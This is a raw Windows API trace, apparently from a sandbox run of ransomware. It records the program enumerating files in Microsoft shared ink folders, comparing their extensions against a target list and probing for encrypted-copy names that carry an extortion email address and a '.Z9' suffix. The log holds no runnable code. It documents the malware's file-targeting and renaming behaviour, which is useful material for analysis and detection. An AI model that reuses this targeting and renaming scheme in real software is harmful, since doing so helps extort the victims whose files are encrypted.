	[0188.927] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.927] lstrlenW (lpString="Alphabet.xml") returned 12
	[0188.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.928] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=791421) returned 1
	[0188.928] CloseHandle (hObject=0x36c) returned 1
	[0188.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0188.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0188.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0188.928] lstrlenW (lpString=".doc") returned 4
	[0188.928] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.928] lstrlenW (lpString=".docx") returned 5
	[0188.928] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0188.928] lstrlenW (lpString=".pdf") returned 4
	[0188.928] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.928] lstrlenW (lpString=".xls") returned 4
	[0188.929] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.929] lstrlenW (lpString=".xlsx") returned 5
	[0188.929] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0188.929] lstrlenW (lpString=".ppt") returned 4
	[0188.929] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0188.929] lstrlenW (lpString=".zip") returned 4
	[0188.929] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.929] lstrlenW (lpString=".rar") returned 4
	[0188.929] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.929] lstrlenW (lpString=".bz2") returned 4
	[0188.929] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.929] lstrlenW (lpString=".7z") returned 3
	[0188.929] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0188.929] lstrlenW (lpString=".dbf") returned 4
	[0188.929] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0188.929] lstrlenW (lpString=".1cd") returned 4
	[0188.929] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0188.929] lstrlenW (lpString=".jpg") returned 4
	[0188.929] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0188.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0188.929] lstrlenW (lpString=".doc") returned 4
	[0188.929] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.929] lstrlenW (lpString=".docx") returned 5
	[0188.929] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0188.929] lstrlenW (lpString=".pdf") returned 4
	[0188.929] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.929] lstrlenW (lpString=".xls") returned 4
	[0188.929] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.930] lstrlenW (lpString=".xlsx") returned 5
	[0188.930] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0188.930] lstrlenW (lpString=".ppt") returned 4
	[0188.930] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0188.930] lstrlenW (lpString=".zip") returned 4
	[0188.930] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.930] lstrlenW (lpString=".rar") returned 4
	[0188.930] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.930] lstrlenW (lpString=".bz2") returned 4
	[0188.930] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.930] lstrlenW (lpString=".7z") returned 3
	[0188.930] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0188.930] lstrlenW (lpString=".dbf") returned 4
	[0188.930] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0188.930] lstrlenW (lpString=".1cd") returned 4
	[0188.930] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.930] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0188.930] lstrlenW (lpString=".jpg") returned 4
	[0188.930] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.930] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0188.930] lstrlenW (lpString="Content.xml") returned 11
	[0188.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.931] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=27045) returned 1
	[0188.931] CloseHandle (hObject=0x36c) returned 1
	[0188.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0188.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0188.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0188.931] lstrlenW (lpString=".doc") returned 4
	[0188.931] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.931] lstrlenW (lpString=".docx") returned 5
	[0188.931] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0188.931] lstrlenW (lpString=".pdf") returned 4
	[0188.931] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.931] lstrlenW (lpString=".xls") returned 4
	[0188.931] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.931] lstrlenW (lpString=".xlsx") returned 5
	[0188.931] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0188.931] lstrlenW (lpString=".ppt") returned 4
	[0188.931] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0188.931] lstrlenW (lpString=".zip") returned 4
	[0188.931] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.931] lstrlenW (lpString=".rar") returned 4
	[0188.932] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.932] lstrlenW (lpString=".bz2") returned 4
	[0188.932] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.932] lstrlenW (lpString=".7z") returned 3
	[0188.932] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0188.932] lstrlenW (lpString=".dbf") returned 4
	[0188.932] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0188.932] lstrlenW (lpString=".1cd") returned 4
	[0188.932] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0188.932] lstrlenW (lpString=".jpg") returned 4
	[0188.932] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0188.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0188.932] lstrlenW (lpString=".doc") returned 4
	[0188.932] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0188.932] lstrlenW (lpString=".docx") returned 5
	[0188.932] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0188.932] lstrlenW (lpString=".pdf") returned 4
	[0188.932] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0188.932] lstrlenW (lpString=".xls") returned 4
	[0188.932] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0188.932] lstrlenW (lpString=".xlsx") returned 5
	[0188.932] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0188.932] lstrlenW (lpString=".ppt") returned 4
	[0188.932] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0188.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0188.932] lstrlenW (lpString=".zip") returned 4
	[0188.932] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0188.932] lstrlenW (lpString=".rar") returned 4
	[0188.932] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0188.932] lstrlenW (lpString=".bz2") returned 4
	[0188.932] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0188.933] lstrlenW (lpString=".7z") returned 3
	[0188.933] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0188.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0188.933] lstrlenW (lpString=".dbf") returned 4
	[0188.933] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0188.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0188.933] lstrlenW (lpString=".1cd") returned 4
	[0188.933] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0188.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0188.933] lstrlenW (lpString=".jpg") returned 4
	[0188.933] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0188.933] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0188.933] lstrlenW (lpString="boxed-correct.avi") returned 17
	[0188.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.934] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=111320) returned 1
	[0188.934] CloseHandle (hObject=0x36c) returned 1
	[0188.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20
	[0188.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0188.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0188.934] lstrlenW (lpString=".doc") returned 4
	[0188.934] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0188.934] lstrlenW (lpString=".docx") returned 5
	[0188.935] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0188.935] lstrlenW (lpString=".pdf") returned 4
	[0188.935] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0188.935] lstrlenW (lpString=".xls") returned 4
	[0188.935] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0188.935] lstrlenW (lpString=".xlsx") returned 5
	[0188.935] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0188.935] lstrlenW (lpString=".ppt") returned 4
	[0188.935] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0188.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0188.935] lstrlenW (lpString=".zip") returned 4
	[0188.935] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0188.935] lstrlenW (lpString=".rar") returned 4
	[0188.935] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0188.935] lstrlenW (lpString=".bz2") returned 4
	[0188.935] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0188.935] lstrlenW (lpString=".7z") returned 3
	[0188.935] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0188.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0188.935] lstrlenW (lpString=".dbf") returned 4
	[0188.935] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0188.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0188.935] lstrlenW (lpString=".1cd") returned 4
	[0188.935] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0188.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0188.935] lstrlenW (lpString=".jpg") returned 4
	[0188.935] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0188.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0188.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0188.935] lstrlenW (lpString=".doc") returned 4
	[0188.935] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0188.935] lstrlenW (lpString=".docx") returned 5
	[0188.935] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0188.935] lstrlenW (lpString=".pdf") returned 4
	[0188.935] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0188.936] lstrlenW (lpString=".xls") returned 4
	[0188.936] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0188.936] lstrlenW (lpString=".xlsx") returned 5
	[0188.936] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0188.936] lstrlenW (lpString=".ppt") returned 4
	[0188.936] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0188.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0188.936] lstrlenW (lpString=".zip") returned 4
	[0188.936] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0188.936] lstrlenW (lpString=".rar") returned 4
	[0188.936] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0188.936] lstrlenW (lpString=".bz2") returned 4
	[0188.936] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0188.936] lstrlenW (lpString=".7z") returned 3
	[0188.936] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0188.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0188.936] lstrlenW (lpString=".dbf") returned 4
	[0188.936] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0188.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0188.936] lstrlenW (lpString=".1cd") returned 4
	[0188.936] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0188.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0188.936] lstrlenW (lpString=".jpg") returned 4
	[0188.936] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0188.936] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0188.936] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0188.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.937] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=48936) returned 1
	[0188.937] CloseHandle (hObject=0x36c) returned 1
	[0188.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0188.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0188.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0188.937] lstrlenW (lpString=".doc") returned 4
	[0188.937] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0188.937] lstrlenW (lpString=".docx") returned 5
	[0188.937] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0188.937] lstrlenW (lpString=".pdf") returned 4
	[0188.937] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0188.937] lstrlenW (lpString=".xls") returned 4
	[0188.937] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0188.937] lstrlenW (lpString=".xlsx") returned 5
	[0188.937] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0188.937] lstrlenW (lpString=".ppt") returned 4
	[0188.937] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0188.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0188.937] lstrlenW (lpString=".zip") returned 4
	[0188.937] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0188.937] lstrlenW (lpString=".rar") returned 4
	[0188.938] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0188.938] lstrlenW (lpString=".bz2") returned 4
	[0188.938] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0188.938] lstrlenW (lpString=".7z") returned 3
	[0188.938] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0188.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0188.938] lstrlenW (lpString=".dbf") returned 4
	[0188.938] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0188.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0188.938] lstrlenW (lpString=".1cd") returned 4
	[0188.938] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0188.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0188.938] lstrlenW (lpString=".jpg") returned 4
	[0188.938] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0188.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0188.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0188.938] lstrlenW (lpString=".doc") returned 4
	[0188.938] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0188.938] lstrlenW (lpString=".docx") returned 5
	[0188.938] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0188.938] lstrlenW (lpString=".pdf") returned 4
	[0188.938] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0188.938] lstrlenW (lpString=".xls") returned 4
	[0188.938] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0188.938] lstrlenW (lpString=".xlsx") returned 5
	[0188.938] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0188.938] lstrlenW (lpString=".ppt") returned 4
	[0188.938] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0188.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0188.938] lstrlenW (lpString=".zip") returned 4
	[0188.938] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0188.938] lstrlenW (lpString=".rar") returned 4
	[0188.938] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0188.938] lstrlenW (lpString=".bz2") returned 4
	[0188.938] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0188.938] lstrlenW (lpString=".7z") returned 3
	[0188.939] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0188.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0188.939] lstrlenW (lpString=".dbf") returned 4
	[0188.939] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0188.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0188.939] lstrlenW (lpString=".1cd") returned 4
	[0188.939] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0188.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0188.939] lstrlenW (lpString=".jpg") returned 4
	[0188.939] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0188.939] lstrcmpiW (lpString1=".avi", lpString2=".Z9") returned -1
	[0188.939] lstrlenW (lpString="boxed-join.avi") returned 14
	[0188.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0188.939] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2e6ff14 | out: lpFileSize=0x2e6ff14*=46622) returned 1
	[0188.939] CloseHandle (hObject=0x36c) returned 1
	[0188.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0188.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0188.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0188.940] lstrlenW (lpString=".doc") returned 4
	[0188.940] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0188.940] lstrlenW (lpString=".docx") returned 5
	[0188.940] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0188.940] lstrlenW (lpString=".pdf") returned 4
	[0188.940] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0188.940] lstrlenW (lpString=".xls") returned 4
	[0188.940] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0188.940] lstrlenW (lpString=".xlsx") returned 5
	[0188.940] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0188.940] lstrlenW (lpString=".ppt") returned 4
	[0188.940] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0188.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0188.940] lstrlenW (lpString=".zip") returned 4
	[0188.940] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0188.940] lstrlenW (lpString=".rar") returned 4
	[0188.940] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0188.940] lstrlenW (lpString=".bz2") returned 4
	[0188.940] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
